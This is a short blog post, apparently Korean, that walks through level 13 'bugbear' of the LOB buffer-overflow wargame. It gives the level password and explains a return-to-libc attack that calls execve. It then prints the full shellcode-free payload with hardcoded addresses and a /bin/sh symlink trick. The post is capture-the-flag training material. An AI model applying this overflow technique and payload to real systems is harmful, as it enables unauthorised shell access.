일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- go channel
- tour of go
- a tour of go
- JUCE
- Nebula
- C++ library
- 공룡책
- 운영체제
- OS
- 자료구조
- LOB
- 백준
- JUCE 튜토리얼
- C++
- BOJ
- vim-go
- c++ heap
- C++ gui 라이브러리
- 알고리즘
- 연결리스트
- Docker
- 코딩
- C++ gui
- 프로그래밍
- JUCE library
- go
- C언어
- gui
- 리듬게임
- JUCE라이브러리
- Today
- Total
CafeM0ca
[LOB]level13 bugbear 본문
ID:bugbear
PW:new divide
this code get libc offset,execve offset.
libc offset + execve offset = execve addr!
popen is read from process
One thing, you should know that execve addr is fixed any binary file! So. easily get execve addr.
print execve == p execve in gdb
copy original giant.c to ./tmp(mkdir tmp. tmp directory is acess any user) and add code at giant.c like picture
you can check execve_addr. same addr 'p execve'
If you use payload ./filename `python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"ret"+"parameter1"+"parameter2"'` ....
strcpy scan '\x0a' like \n. It fail exploit.
Use payload like this -> "$(python -c 'print "..." ')" . OK?
payload is "A"*44+"execve addr"+"ret (exit()) or any 4byte"+"/bin/sh path"+"/bin/sh"+"NULL"
key point : execve second parameter is pointer that point {"/bin/sh",0}. using symbolic link "/bin/sh"(argv[0] -> filename) and third parameter is NULL. using end of stack
symbolic link
ln -s copyfile /bin/sh
find filename(execve parameter 2) and NULL(execve parameter3)
payload: ./`python -c 'print "\xf9\xbf\x0f\x40"'` "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xf8\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"')"
exploit
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
[LOB]level15 assassin (0) | 2018.01.18 |
---|---|
[LOB]level14 giant (0) | 2018.01.18 |
[LOB]level12 darkknight (0) | 2018.01.04 |
[LOB]level11 golem (0) | 2018.01.04 |
[LOB]level10 skeleton (0) | 2018.01.03 |